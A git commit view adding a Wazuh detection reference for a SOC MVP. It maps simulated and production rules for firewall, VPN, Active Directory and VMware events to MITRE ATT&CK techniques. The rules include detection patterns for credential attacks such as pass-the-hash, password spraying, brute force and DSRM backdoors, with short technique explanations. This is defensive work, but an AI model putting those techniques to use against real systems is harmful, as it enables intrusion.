Przeglądaj źródła

codex wazuh sim log

tum 1 tydzień temu
rodzic
commit
fc2cceda21
24 zmienionych plików z 1913 dodań i 2424 usunięć
  1. 583 0
      docs/wazuh-decoders-rules.md
  2. 15 0
      samples/README.md
  3. 32 423
      scripts/README.md
  4. 6 6
      scripts/events/wazuh-proposal-custom-rules-dashboard.ndjson
  5. 0 136
      scripts/send-wazuh-cisco-test-events.sh
  6. 0 228
      scripts/send-wazuh-endpoint-agent-test-events.sh
  7. 0 217
      scripts/send-wazuh-fortigate-continuous.sh
  8. 0 135
      scripts/send-wazuh-fortigate-test-events.sh
  9. 0 230
      scripts/send-wazuh-proposal-appendix-b-events.sh
  10. 0 235
      scripts/send-wazuh-proposal-appendix-c-events.sh
  11. 0 356
      scripts/send-wazuh-proposal-required-events.sh
  12. 550 0
      scripts/send-wazuh-sim-logs.sh
  13. 0 132
      scripts/send-wazuh-test-events.sh
  14. 13 21
      wazuh-docker/single-node/config/wazuh_cluster/local_decoder.xml
  15. 15 305
      wazuh-docker/single-node/config/wazuh_cluster/local_rules.xml
  16. 47 0
      wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a1-ioc-rules.xml
  17. 113 0
      wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a2-fortigate-fw-rules.xml
  18. 66 0
      wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a3-fortigate-vpn-rules.xml
  19. 168 0
      wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a4-windows-ad-rules.xml
  20. 44 0
      wazuh-docker/single-node/config/wazuh_cluster/rules/soc-b1-vmware-rules.xml
  21. 22 0
      wazuh-docker/single-node/config/wazuh_cluster/rules/soc-b2-logmon-rules.xml
  22. 97 0
      wazuh-docker/single-node/config/wazuh_cluster/rules/soc-b3-sysmon-rules.xml
  23. 134 0
      wazuh-docker/single-node/config/wazuh_cluster/rules/soc-c1-c3-rules.xml
  24. 8 0
      wazuh-docker/single-node/docker-compose.yml

+ 583 - 0
docs/wazuh-decoders-rules.md

@@ -0,0 +1,583 @@
1
+# Wazuh Decoders & Rules — SOC MVP Reference
2
+
3
+## Overview
4
+
5
+All SOC simulation events carry the marker `soc_mvp_test=true` in the log body, which anchors the entire detection chain. Rules are split into two profiles per use case:
6
+
7
+- **Simulation profile** (`100xxx`): match `usecase_id=<ID>` — fired by the simulator script
8
+- **Production profile** (`110xxx`): match decoded field values from real log sources
9
+
10
+Severity levels: High → 12, Medium → 8, Low → 5
11
+
12
+---
13
+
14
+## MITRE ATT&CK Framework
15
+
16
+### What is MITRE ATT&CK?
17
+
18
+[MITRE ATT&CK](https://attack.mitre.org/) (Adversarial Tactics, Techniques, and Common Knowledge) is a globally recognised knowledge base that catalogues real-world adversary behaviour. It organises attacks into:
19
+
20
+- **Tactics** — the *why* (the adversary's goal at each stage, e.g. Initial Access, Persistence, Exfiltration)
21
+- **Techniques** — the *how* (the specific method used to achieve that goal, e.g. T1110 Brute Force)
22
+- **Sub-techniques** — a more precise variant of a technique (e.g. T1110.003 Password Spraying)
23
+
24
+Every Wazuh rule in this project tags the alert with one or more technique IDs so that alerts can be mapped onto the ATT&CK kill chain, fed into threat-intelligence platforms (e.g. TheHive, Splunk ES), and used to measure detection coverage.
25
+
26
+### Tactics Covered by This Ruleset
27
+
28
+| Tactic               | ATT&CK ID | What it means                                                        | Detected by                     |
29
+| -------------------- | --------- | -------------------------------------------------------------------- | ------------------------------- |
30
+| Reconnaissance       | TA0043    | Adversary gathers info before attacking — port scans, AD enumeration | A2-07/09, A4-03/05, C3-04       |
31
+| Initial Access       | TA0001    | First foothold into the network — exploiting web apps                | B3-02                           |
32
+| Execution            | TA0002    | Running malicious code on a system                                   | B3-02, B3-06                    |
33
+| Persistence          | TA0003    | Maintaining access after reboots or credential changes               | A4-13, B3-03                    |
34
+| Privilege Escalation | TA0004    | Gaining higher-level permissions                                     | A4-07/11/12, C2-04              |
35
+| Defense Evasion      | TA0005    | Avoiding detection — disabling security tools or logging             | A2-04, B2-01, B3-04             |
36
+| Credential Access    | TA0006    | Stealing credentials from systems or services                        | A3-03/04, A4-01/02/04, B3-01/05 |
37
+| Discovery            | TA0007    | Learning about internal environment after access                     | A4-03/05, C3-04                 |
38
+| Lateral Movement     | TA0008    | Moving through the network after initial compromise                  | A4-08, C3-01/02/03              |
39
+| Collection           | TA0009    | Gathering data of interest — config files, sensitive docs            | A2-05                           |
40
+| Command and Control  | TA0011    | Adversary communicating with compromised systems                     | A1-01/02, A2-08/10, B3-06       |
41
+| Impact               | TA0040    | Disrupting availability or integrity — log suppression               | B2-01                           |
42
+
43
+### Technique Reference
44
+
45
+All technique IDs used in this ruleset, with name, tactic, and which use cases apply:
46
+
47
+| Technique ID | Name                              | Tactic                                                                | Used In                                      |
48
+| ------------ | --------------------------------- | --------------------------------------------------------------------- | -------------------------------------------- |
49
+| T1005        | Data from Local System            | Collection                                                            | A2-05                                        |
50
+| T1021        | Remote Services                   | Lateral Movement                                                      | C3-01                                        |
51
+| T1021.001    | Remote Desktop Protocol           | Lateral Movement                                                      | A2-01, C3-03                                 |
52
+| T1021.002    | SMB/Windows Admin Shares          | Lateral Movement                                                      | C3-02                                        |
53
+| T1021.004    | SSH                               | Lateral Movement                                                      | B1-02/03                                     |
54
+| T1046        | Network Service Discovery         | Discovery / Reconnaissance                                            | A2-07/09, C3-04                              |
55
+| T1071        | Application Layer Protocol        | Command and Control                                                   | A2-08/10                                     |
56
+| T1071.004    | DNS                               | Command and Control                                                   | A1-01                                        |
57
+| T1078        | Valid Accounts                    | Defense Evasion / Initial Access / Persistence / Privilege Escalation | A3-01/02/05, A4-06/09/20/22/24, C1-01, C2-02 |
58
+| T1078.002    | Domain Accounts                   | Privilege Escalation                                                  | C2-01                                        |
59
+| T1078.003    | Local Accounts                    | Privilege Escalation                                                  | A4-10, C2-03                                 |
60
+| T1087.002    | Domain Account (Discovery)        | Discovery                                                             | A4-03                                        |
61
+| T1098        | Account Manipulation              | Persistence / Privilege Escalation                                    | A2-02/03, A4-11/12/13, C2-04                 |
62
+| T1103        | —                                 | —                                                                     | —                                            |
63
+| T1105        | Ingress Tool Transfer             | Command and Control                                                   | B3-06                                        |
64
+| T1110        | Brute Force                       | Credential Access                                                     | A3-03/04, A4-01/02/04/14/16/17/18, B1-01/03  |
65
+| T1110.003    | Password Spraying                 | Credential Access                                                     | A4-15/19                                     |
66
+| T1134        | Access Token Manipulation         | Defense Evasion / Privilege Escalation                                | A4-07                                        |
67
+| T1135        | Network Share Discovery           | Discovery                                                             | A4-05                                        |
68
+| T1136        | Create Account                    | Persistence                                                           | A2-03, A4-21/23                              |
69
+| T1136.001    | Local Account                     | Persistence                                                           | A4-23                                        |
70
+| T1136.002    | Domain Account                    | Persistence                                                           | A4-21                                        |
71
+| T1190        | Exploit Public-Facing Application | Initial Access                                                        | B3-02                                        |
72
+| T1505.003    | Web Shell                         | Persistence                                                           | B3-03                                        |
73
+| T1550.002    | Pass the Hash                     | Defense Evasion / Lateral Movement                                    | A4-08                                        |
74
+| T1562        | Impair Defenses                   | Defense Evasion                                                       | A2-04                                        |
75
+| T1562.001    | Disable or Modify Tools           | Defense Evasion                                                       | B3-04                                        |
76
+| T1562.006    | Indicator Blocking                | Defense Evasion                                                       | B2-01                                        |
77
+| T1568        | Dynamic Resolution                | Command and Control                                                   | A1-02                                        |
78
+| T1595        | Active Scanning                   | Reconnaissance                                                        | A2-06                                        |
79
+
80
+### ATT&CK Coverage Heatmap (by Tactic)
81
+
82
+```
83
+Reconnaissance      ██░░░░  A2-07/09, A4-03/05, C3-04
84
+Initial Access      ██░░░░  B3-02 (web exploit)
85
+Execution           █░░░░░  B3-02/06
86
+Persistence         ████░░  A2-03, A4-13/21/23, B3-03
87
+Privilege Escalation████░░  A4-07/11/12, C2-01/04
88
+Defense Evasion     ████░░  A2-04, A4-07/08, B2-01, B3-04
89
+Credential Access   ██████  A3, A4-01/02/04/14-19, B3-01/05
90
+Discovery           ███░░░  A4-03/05, C3-04
91
+Lateral Movement    ████░░  A4-08, C3-01/02/03
92
+Collection          █░░░░░  A2-05
93
+Command & Control   ████░░  A1, A2-08/10, B3-06
94
+```
95
+
96
+---
97
+
98
+## Decoder Chain
99
+
100
+File: `config/wazuh_cluster/local_decoder.xml`
101
+
102
+### How it works
103
+
104
+```
105
+Raw log
106
+  └─ soc-mvp-base          prematch: soc_mvp_test=true
107
+       ├─ soc-mvp-dns               source=dns
108
+       ├─ soc-mvp-fgt-traffic       source=fortigate + type="traffic"
109
+       ├─ soc-mvp-fgt-event         source=fortigate + type="event"
110
+       ├─ soc-mvp-fgt-utm           source=fortigate + type="utm"
111
+       ├─ soc-mvp-fgt-vpn           source=fortigate + subtype="vpn"
112
+       ├─ soc-mvp-windows           source=windows
113
+       ├─ soc-mvp-windows-lateral   source=windows + dstip=  (overrides above)
114
+       ├─ soc-mvp-vpn               source=vpn
115
+       ├─ soc-mvp-vmware            source=vmware  (with src_ip)
116
+       ├─ soc-mvp-vmware-nosrcip    source=vmware  (no src_ip)
117
+       ├─ soc-mvp-logmon            source=log_monitor
118
+       ├─ soc-mvp-sysmon            source=windows_sysmon
119
+       └─ soc-mvp-sysmon-exec       source=windows_sysmon + cmdline=
120
+```
121
+
122
+> **Note:** Simulator A2/A3 events include `date=/logid=` headers that trigger the built-in `fortigate-firewall-v6` decoder instead of `soc-mvp-base`. Bridge rule **100205** re-anchors those events into the SOC chain.
123
+
124
+### Decoder Details
125
+
126
+| Decoder                   | Parent | Prematch                              | Fields Extracted                                                  |
127
+| ------------------------- | ------ | ------------------------------------- | ----------------------------------------------------------------- |
128
+| `soc-mvp-base`            | —      | `soc_mvp_test=true`                   | —                                                                 |
129
+| `soc-mvp-dns`             | base   | `source=dns`                          | `status` (event_type), `srcip`                                    |
130
+| `soc-mvp-fgt-traffic`     | base   | `source=fortigate` + `type="traffic"` | `srcip`, `action`                                                 |
131
+| `soc-mvp-fgt-event`       | base   | `source=fortigate` + `type="event"`   | `action`, `srcuser`                                               |
132
+| `soc-mvp-fgt-utm`         | base   | `source=fortigate` + `type="utm"`     | `status` (subtype), `srcip`                                       |
133
+| `soc-mvp-fgt-vpn`         | base   | `source=fortigate` + `subtype="vpn"`  | `action`, `srcuser`, `srcip`                                      |
134
+| `soc-mvp-windows`         | base   | `source=windows`                      | `id` (event_id), `srcuser`, `srcip`                               |
135
+| `soc-mvp-windows-lateral` | base   | `source=windows` + `dstip=`           | `id`, `srcuser`, `srcip`, `dstip`                                 |
136
+| `soc-mvp-vpn`             | base   | `source=vpn`                          | `status` (event_type), `srcuser`, `srcip`, `extra_data` (country) |
137
+| `soc-mvp-vmware`          | base   | `source=vmware`                       | `status` (event_type), `srcuser`, `srcip`                         |
138
+| `soc-mvp-vmware-nosrcip`  | base   | `source=vmware`                       | `status` (event_type), `srcuser`                                  |
139
+| `soc-mvp-logmon`          | base   | `source=log_monitor`                  | `status` (event_type)                                             |
140
+| `soc-mvp-sysmon`          | base   | `source=windows_sysmon`               | `status` (event_type), `id` (event_id), `url` (process)           |
141
+| `soc-mvp-sysmon-exec`     | base   | `source=windows_sysmon` + `cmdline=`  | `status`, `id`, `url`                                             |
142
+
143
+---
144
+
145
+## Base Rules
146
+
147
+File: `config/wazuh_cluster/local_rules.xml`
148
+
149
+| Rule ID | Level | Description                                      | Trigger                                               |
150
+| ------- | ----- | ------------------------------------------------ | ----------------------------------------------------- |
151
+| 100200  | 3     | SOC MVP: synthetic test event detected           | `soc_mvp_test=true` in any event                      |
152
+| 100205  | 3     | SOC MVP: synthetic FortiGate test event (bridge) | Built-in `fortigate` group rule + `soc_mvp_test=true` |
153
+| 100210  | 3     | SOC MVP: Appendix A simulation event             | `if_sid=100200` + `section=A`                         |
154
+| 100220  | 3     | SOC MVP: Appendix B simulation event             | `if_sid=100200` + `section=B`                         |
155
+| 100230  | 3     | SOC MVP: Appendix C simulation event             | `if_sid=100200` + `section=C`                         |
156
+
157
+Rule **100205** exists to handle A2/A3 simulator events that are processed by the built-in FortiGate decoder. A2/A3 rules use `if_sid=100200, 100205` so they fire in both the direct (`soc-mvp-base`) and FortiGate-decoded paths.
158
+
159
+---
160
+
161
+## A1 — DNS / Firewall IOC
162
+
163
+File: `rules/soc-a1-ioc-rules.xml` | Decoder: `soc-mvp-dns` | Source: `source=dns`
164
+
165
+**ATT&CK context:** DNS-based IOC detection targets the **Command and Control** tactic. Adversaries use DNS to communicate with malware (C2 beaconing) or to redirect victims to malicious infrastructure via dynamic domain generation. Detecting these queries at the DNS layer is a high-fidelity signal because legitimate applications rarely query known-bad domains.
166
+
167
+### Simulation Rules
168
+
169
+| Rule ID | Level | Use Case                                        | MITRE ID  | Technique                       | Tactic              |
170
+| ------- | ----- | ----------------------------------------------- | --------- | ------------------------------- | ------------------- |
171
+| 100301  | 8     | A1-01: DNS traffic to malicious domain detected | T1071.004 | Application Layer Protocol: DNS | Command and Control |
172
+| 100302  | 8     | A1-02: DNS IOC domain match from threat feed    | T1568     | Dynamic Resolution              | Command and Control |
173
+
174
+### Production Rules
175
+
176
+| Rule ID | Level | Match Condition               | Description                                           | MITRE ID  | Technique                       |
177
+| ------- | ----- | ----------------------------- | ----------------------------------------------------- | --------- | ------------------------------- |
178
+| 110301  | 8     | `event_type=ioc_dns_traffic`  | DNS query to malicious domain (IOC traffic indicator) | T1071.004 | Application Layer Protocol: DNS |
179
+| 110302  | 8     | `event_type=ioc_domain_match` | DNS IOC domain match from threat intelligence feed    | T1568     | Dynamic Resolution              |
180
+
181
+**T1071.004 — Application Layer Protocol: DNS**
182
+Adversaries use DNS queries to communicate with C2 infrastructure, hiding malicious traffic within normal DNS traffic that is often not inspected. Detects beaconing malware or data exfiltration tunnelled over DNS.
183
+
184
+**T1568 — Dynamic Resolution**
185
+Adversaries use dynamic DNS or algorithmically generated domain names (DGA) to make their C2 infrastructure harder to block. A domain appearing in a threat feed but not seen before in the environment is a strong indicator.
186
+
187
+---
188
+
189
+## A2 — FortiGate IPS/IDS & Firewall
190
+
191
+File: `rules/soc-a2-fortigate-fw-rules.xml` | Decoders: `soc-mvp-fgt-traffic`, `soc-mvp-fgt-event`, `soc-mvp-fgt-utm` | Source: `source=fortigate`
192
+
193
+Parent: `if_sid=100200, 100205` (both direct and FortiGate-decoded paths)
194
+
195
+**ATT&CK context:** Firewall logs capture both network-level threats (scanning, C2 traffic) and administrative abuse (config changes, account creation). This section spans **Reconnaissance**, **Persistence**, **Defense Evasion**, **Collection**, and **Command and Control** — covering the adversary's first steps to establish a foothold and maintain it.
196
+
197
+### Simulation Rules
198
+
199
+| Rule ID | Level | Use Case                                                  | MITRE ID  | Technique                  | Tactic              |
200
+| ------- | ----- | --------------------------------------------------------- | --------- | -------------------------- | ------------------- |
201
+| 100311  | 12    | A2-01: Allowed RDP from public IP                         | T1021.001 | Remote Desktop Protocol    | Lateral Movement    |
202
+| 100312  | 12    | A2-02: Firewall admin password changed                    | T1098     | Account Manipulation       | Persistence         |
203
+| 100313  | 12    | A2-03: Firewall admin account created                     | T1136     | Create Account             | Persistence         |
204
+| 100314  | 12    | A2-04: Firewall email notification disabled               | T1562     | Impair Defenses            | Defense Evasion     |
205
+| 100315  | 5     | A2-05: Firewall configuration downloaded                  | T1005     | Data from Local System     | Collection          |
206
+| 100316  | 8     | A2-06: Multiple critical/high IDS alerts detected         | T1595     | Active Scanning            | Reconnaissance      |
207
+| 100317  | 5     | A2-07: Port scanning from public IP detected              | T1046     | Network Service Discovery  | Discovery           |
208
+| 100318  | 8     | A2-08: IOC-matched network traffic blocked by IPS         | T1071     | Application Layer Protocol | Command and Control |
209
+| 100319  | 8     | A2-09: Port scanning from internal private IP             | T1046     | Network Service Discovery  | Discovery           |
210
+| 100320  | 8     | A2-10: Communication to known malicious IP (C2 indicator) | T1071     | Application Layer Protocol | Command and Control |
211
+
212
+### Production Rules
213
+
214
+| Rule ID | Level | Match Condition                                     | Description                                | MITRE ID  | Technique                  |
215
+| ------- | ----- | --------------------------------------------------- | ------------------------------------------ | --------- | -------------------------- |
216
+| 110311  | 12    | `dstport=3389` + `action="accept"`                  | RDP traffic allowed                        | T1021.001 | Remote Desktop Protocol    |
217
+| 110312  | 12    | `action="password-change"`                          | Admin account password changed             | T1098     | Account Manipulation       |
218
+| 110313  | 12    | `action="create-admin"`                             | New admin account created                  | T1136     | Create Account             |
219
+| 110314  | 12    | `action="config-change"` + `config_value=disable`   | Alerting/notification disabled             | T1562     | Impair Defenses            |
220
+| 110315  | 5     | `action="download-config"`                          | Firewall configuration file downloaded     | T1005     | Data from Local System     |
221
+| 110316  | 8     | `subtype="ips"` + `attack="Multiple.Critical`       | Multiple critical IPS signatures triggered | T1595     | Active Scanning            |
222
+| 110317  | 5     | `subtype="anomaly"` + `attack="TCP.Port.Scan"`      | TCP port scan from external IP             | T1046     | Network Service Discovery  |
223
+| 110318  | 8     | `subtype="ips"` + `ioc_type=ip`                     | IOC-based IP indicator detected            | T1071     | Application Layer Protocol |
224
+| 110319  | 8     | `subtype="anomaly"` + `attack="Internal.Port.Scan"` | Internal port scan from private source     | T1046     | Network Service Discovery  |
225
+| 110320  | 8     | `threat_label="known-c2"`                           | Traffic to known C2/malicious IP           | T1071     | Application Layer Protocol |
226
+
227
+**T1021.001 — Remote Desktop Protocol**
228
+RDP exposed to public IPs is a prime attack vector for ransomware groups and APTs. An inbound `accept` to port 3389 from a non-private source is anomalous in most corporate environments.
229
+
230
+**T1098 — Account Manipulation**
231
+Changing admin credentials or creating backdoor admin accounts on a firewall gives an attacker persistent, privileged access to network infrastructure that is extremely hard to detect and revoke.
232
+
233
+**T1562 — Impair Defenses**
234
+Disabling email notifications on a firewall silences a critical alerting channel, allowing subsequent malicious activity to go unnoticed. This is a hallmark pre-attack step.
235
+
236
+**T1595 — Active Scanning**
237
+Multiple IPS signature hits in a short window is a strong indicator of automated scanning or exploit frameworks (e.g. Metasploit, Nmap NSE scripts) probing for vulnerabilities.
238
+
239
+---
240
+
241
+## A3 — FortiGate VPN
242
+
243
+File: `rules/soc-a3-fortigate-vpn-rules.xml` | Decoder: `soc-mvp-fgt-vpn` | Source: `source=fortigate subtype="vpn"`
244
+
245
+Parent: `if_sid=100200, 100205` (both direct and FortiGate-decoded paths)
246
+
247
+**ATT&CK context:** VPN is the primary remote access gateway for most organisations. Attackers target it with brute-force, credential stuffing, and stolen credentials. All A3 rules map to **Valid Accounts (T1078)** or **Brute Force (T1110)** — the two most common techniques for initial access via VPN.
248
+
249
+### Simulation Rules
250
+
251
+| Rule ID | Level | Use Case                                                      | MITRE ID | Technique      | Tactic                           |
252
+| ------- | ----- | ------------------------------------------------------------- | -------- | -------------- | -------------------------------- |
253
+| 100331  | 12    | A3-01: VPN login success from guest account                   | T1078    | Valid Accounts | Initial Access / Defense Evasion |
254
+| 100332  | 12    | A3-02: VPN login success from multiple countries              | T1078    | Valid Accounts | Initial Access                   |
255
+| 100333  | 12    | A3-03: VPN brute-force success (many failures then success)   | T1110    | Brute Force    | Credential Access                |
256
+| 100334  | 5     | A3-04: VPN multiple auth failures (many accounts, one source) | T1110    | Brute Force    | Credential Access                |
257
+| 100335  | 12    | A3-05: VPN login success from outside Thailand                | T1078    | Valid Accounts | Initial Access                   |
258
+
259
+### Production Rules
260
+
261
+| Rule ID | Level | Match Condition                                                  | Description                                        | MITRE ID | Technique      |
262
+| ------- | ----- | ---------------------------------------------------------------- | -------------------------------------------------- | -------- | -------------- |
263
+| 110331  | 12    | `action="ssl-login-success"` + `user="guest"`                    | VPN auth success by guest account                  | T1078    | Valid Accounts |
264
+| 110332  | 12    | `action="ssl-login-success"` + `previous_country=`               | VPN success from different country than last login | T1078    | Valid Accounts |
265
+| 110333  | 12    | `action="ssl-login-success"` + `failed_attempts_before_success=` | VPN success after multiple prior failures          | T1110    | Brute Force    |
266
+| 110334  | 5     | `action="ssl-login-fail"` + `failed_accounts=`                   | Multiple account failures from single source IP    | T1110    | Brute Force    |
267
+| 110335  | 12    | `action="ssl-login-success"` + `expected_country=TH`             | VPN auth success from outside Thailand             | T1078    | Valid Accounts |
268
+
269
+**T1078 — Valid Accounts**
270
+Using legitimately provisioned credentials (stolen, purchased, or guessed) to log in. A guest account or a login from an unexpected country strongly suggests compromised credentials rather than a legitimate user.
271
+
272
+**T1110 — Brute Force**
273
+Systematically trying many passwords against an account. A pattern of many failures followed by a success is a reliable brute-force indicator. Multiple accounts failing from one source indicates credential stuffing (using breached password lists).
274
+
275
+---
276
+
277
+## A4 — Windows / Active Directory
278
+
279
+File: `rules/soc-a4-windows-ad-rules.xml` | Decoder: `soc-mvp-windows` | Source: `source=windows`
280
+
281
+**ATT&CK context:** Windows event logs are the richest source of attacker activity on-premise. A4 covers the full attack lifecycle within AD — from external credential attacks (initial access) through privilege escalation and persistence via account manipulation. Windows Security Event IDs are the primary production match signal.
282
+
283
+### Simulation Rules
284
+
285
+| Rule ID | Level | Use Case                                                       | MITRE ID  | Technique                                            | Tactic                             |
286
+| ------- | ----- | -------------------------------------------------------------- | --------- | ---------------------------------------------------- | ---------------------------------- |
287
+| 100341  | 8     | A4-01: Multiple auth failures from privileged account          | T1110     | Brute Force                                          | Credential Access                  |
288
+| 100342  | 8     | A4-02: Multiple auth failures from service account             | T1110     | Brute Force                                          | Credential Access                  |
289
+| 100343  | 8     | A4-03: AD enumeration via malicious tools (e.g. adfind)        | T1087.002 | Account Discovery: Domain Account                    | Discovery                          |
290
+| 100344  | 8     | A4-04: Auth failure from public IP                             | T1110     | Brute Force                                          | Credential Access                  |
291
+| 100345  | 8     | A4-05: File share enumeration to single destination            | T1135     | Network Share Discovery                              | Discovery                          |
292
+| 100346  | 12    | A4-06: Authentication success from public IP                   | T1078     | Valid Accounts                                       | Initial Access                     |
293
+| 100347  | 12    | A4-07: Privileged account impersonation                        | T1134     | Access Token Manipulation                            | Privilege Escalation               |
294
+| 100348  | 12    | A4-08: Pass-the-hash RDP authentication success                | T1550.002 | Use Alternate Authentication Material: Pass the Hash | Defense Evasion / Lateral Movement |
295
+| 100349  | 12    | A4-09: Authentication success from guest account               | T1078     | Valid Accounts                                       | Initial Access                     |
296
+| 100350  | 12    | A4-10: Service account interactive logon (logon_type=2)        | T1078.003 | Valid Accounts: Local Accounts                       | Privilege Escalation               |
297
+| 100351  | 12    | A4-11: Account added to custom privileged group                | T1098     | Account Manipulation                                 | Persistence                        |
298
+| 100352  | 12    | A4-12: Account added to Domain Admins or privileged group      | T1098     | Account Manipulation                                 | Persistence                        |
299
+| 100353  | 12    | A4-13: DSRM password reset on domain controller                | T1098     | Account Manipulation                                 | Persistence                        |
300
+| 100354  | 5     | A4-14: One account failing from many sources                   | T1110     | Brute Force                                          | Credential Access                  |
301
+| 100355  | 5     | A4-15: Many accounts failing from one source (spray indicator) | T1110.003 | Password Spraying                                    | Credential Access                  |
302
+| 100356  | 5     | A4-16: Guest account multiple auth failures                    | T1110     | Brute Force                                          | Credential Access                  |
303
+| 100357  | 5     | A4-17: One account failing from one source                     | T1110     | Brute Force                                          | Credential Access                  |
304
+| 100358  | 5     | A4-18: Multiple interactive logon denials                      | T1110     | Brute Force                                          | Credential Access                  |
305
+| 100359  | 5     | A4-19: Password spray pattern detected                         | T1110.003 | Password Spraying                                    | Credential Access                  |
306
+| 100360  | 5     | A4-20: Auth attempt from disabled account                      | T1078     | Valid Accounts                                       | Defense Evasion                    |
307
+| 100361  | 5     | A4-21: Domain account created                                  | T1136.002 | Create Account: Domain Account                       | Persistence                        |
308
+| 100362  | 5     | A4-22: Local account re-enabled                                | T1078     | Valid Accounts                                       | Persistence                        |
309
+| 100363  | 5     | A4-23: Local account created                                   | T1136.001 | Create Account: Local Account                        | Persistence                        |
310
+| 100364  | 5     | A4-24: Domain account re-enabled                               | T1078     | Valid Accounts                                       | Persistence                        |
311
+
312
+### Production Rules
313
+
314
+| Rule ID | Level | Event ID | Match Condition                              | Description                              | MITRE ID  | Technique                         |
315
+| ------- | ----- | -------- | -------------------------------------------- | ---------------------------------------- | --------- | --------------------------------- |
316
+| 110341  | 8     | 4625     | `is_admin=true`                              | Privileged account auth failures         | T1110     | Brute Force                       |
317
+| 110342  | 8     | 4625     | `is_service=true`                            | Service account auth failures            | T1110     | Brute Force                       |
318
+| 110343  | 8     | 4688     | `process=adfind.exe`                         | AD enumeration tool executed             | T1087.002 | Account Discovery: Domain Account |
319
+| 110346  | 12    | 4624     | `logon_type=10`                              | Remote interactive auth success          | T1078     | Valid Accounts                    |
320
+| 110348  | 12    | 4624     | `auth_package="NTLM"` + `pth_indicator=true` | Pass-the-hash via NTLM                   | T1550.002 | Pass the Hash                     |
321
+| 110349  | 12    | 4624     | `account="guest"`                            | Guest account auth success               | T1078     | Valid Accounts                    |
322
+| 110350  | 12    | 4624     | `logon_type=2` + `is_service=true`           | Service account interactive logon        | T1078.003 | Valid Accounts: Local Accounts    |
323
+| 110352  | 12    | 4728     | `target_group=`                              | Account added to privileged domain group | T1098     | Account Manipulation              |
324
+| 110353  | 12    | 4732     | `target_group=`                              | Account added to privileged local group  | T1098     | Account Manipulation              |
325
+| 110354  | 12    | 4794     | —                                            | DSRM account password set on DC          | T1098     | Account Manipulation              |
326
+| 110359  | 5     | 4625     | `spray=true`                                 | Password spray pattern indicator         | T1110.003 | Password Spraying                 |
327
+| 110361  | 5     | 4720     | —                                            | New user account created                 | T1136     | Create Account                    |
328
+| 110362  | 5     | 4722     | —                                            | User account re-enabled                  | T1078     | Valid Accounts                    |
329
+
330
+**T1087.002 — Account Discovery: Domain Account**
331
+Tools like AdFind, BloodHound, and ldapdomaindump query Active Directory to map users, groups, and trust relationships — essential for planning privilege escalation paths. Event ID 4688 (process creation) is used to catch the tool execution.
332
+
333
+**T1134 — Access Token Manipulation**
334
+An attacker with sufficient privilege duplicates or steals the access token of a more privileged process, effectively impersonating that account without needing its password.
335
+
336
+**T1550.002 — Pass the Hash**
337
+The NTLM hash of a password can be used directly for authentication without knowing the plaintext password. Detected by NTLM authentication with logon type 10 (Remote Interactive) from an anomalous source.
338
+
339
+**T1098 — Account Manipulation (DSRM — A4-13)**
340
+The Directory Services Restore Mode (DSRM) account is a local administrator on every Domain Controller. Resetting its password (event 4794) and enabling remote login to it gives an attacker a persistent, offline backdoor to the DC that survives domain-level password resets.
341
+
342
+**T1110.003 — Password Spraying**
343
+Rather than many attempts on one account (which triggers lockout), the attacker tries one or two common passwords across many accounts. Harder to detect per-account but visible as a low-and-slow horizontal pattern across Event ID 4625 failures.
344
+
345
+---
346
+
347
+## B1 — VMware vCenter / ESXi
348
+
349
+File: `rules/soc-b1-vmware-rules.xml` | Decoders: `soc-mvp-vmware`, `soc-mvp-vmware-nosrcip` | Source: `source=vmware`
350
+
351
+**ATT&CK context:** Hypervisor compromise is catastrophic — full control of all guest VMs, storage, and networking. B1 targets **Brute Force** against vCenter (the management plane) and **SSH enablement** on ESXi hosts, which is the most common first step attackers take after gaining vCenter admin access.
352
+
353
+### Simulation Rules
354
+
355
+| Rule ID | Level | Use Case                                                        | MITRE ID  | Technique            | Tactic            |
356
+| ------- | ----- | --------------------------------------------------------------- | --------- | -------------------- | ----------------- |
357
+| 100401  | 12    | B1-01: vCenter login failures followed by success (brute-force) | T1110     | Brute Force          | Credential Access |
358
+| 100402  | 8     | B1-02: ESXi SSH service enabled on host                         | T1021.004 | Remote Services: SSH | Lateral Movement  |
359
+| 100403  | 12    | B1-03: ESXi SSH brute-force failures followed by success        | T1110     | Brute Force          | Credential Access |
360
+
361
+### Production Rules
362
+
363
+| Rule ID | Level | Match Condition                                | Description                                         | MITRE ID  | Technique            |
364
+| ------- | ----- | ---------------------------------------------- | --------------------------------------------------- | --------- | -------------------- |
365
+| 110401  | 12    | `event_type=vmware_vcenter_login_fail_success` | vCenter login burst pattern (failures then success) | T1110     | Brute Force          |
366
+| 110402  | 8     | `event_type=vmware_esxi_enable_ssh`            | ESXi SSH service enabled                            | T1021.004 | Remote Services: SSH |
367
+| 110403  | 12    | `event_type=vmware_esxi_ssh_fail_success`      | ESXi SSH brute-force then success                   | T1110     | Brute Force          |
368
+
369
+**T1021.004 — Remote Services: SSH**
370
+ESXi does not run SSH by default. Enabling it provides direct shell access to the hypervisor, bypassing vCenter authentication entirely. Any unauthorised SSH enablement on an ESXi host should be treated as a critical incident.
371
+
372
+---
373
+
374
+## B2 — Log Monitoring
375
+
376
+File: `rules/soc-b2-logmon-rules.xml` | Decoder: `soc-mvp-logmon` | Source: `source=log_monitor`
377
+
378
+**ATT&CK context:** Log gaps are a **Defense Evasion** indicator. An attacker who has gained access to a log source (firewall, DC, EDR) may stop or tamper with its logging to remove evidence of their activity. Detecting that a previously active log stream has gone silent is an important meta-detection capability.
379
+
380
+### Simulation Rules
381
+
382
+| Rule ID | Level | Use Case                                    | MITRE ID  | Technique                           | Tactic          |
383
+| ------- | ----- | ------------------------------------------- | --------- | ----------------------------------- | --------------- |
384
+| 100411  | 5     | B2-01: Log loss detected on expected stream | T1562.006 | Impair Defenses: Indicator Blocking | Defense Evasion |
385
+
386
+### Production Rules
387
+
388
+| Rule ID | Level | Match Condition                 | Description                                     | MITRE ID  | Technique                           |
389
+| ------- | ----- | ------------------------------- | ----------------------------------------------- | --------- | ----------------------------------- |
390
+| 110411  | 5     | `event_type=log_loss_detection` | Log ingestion loss detected on monitored stream | T1562.006 | Impair Defenses: Indicator Blocking |
391
+
392
+**T1562.006 — Impair Defenses: Indicator Blocking**
393
+Adversaries may stop logging services, block log forwarding, or delete log files to prevent defenders from detecting their actions. A log loss alert does not confirm malicious intent (hardware/network failure can cause it too) but must always be investigated promptly.
394
+
395
+---
396
+
397
+## B3 — Windows Sysmon
398
+
399
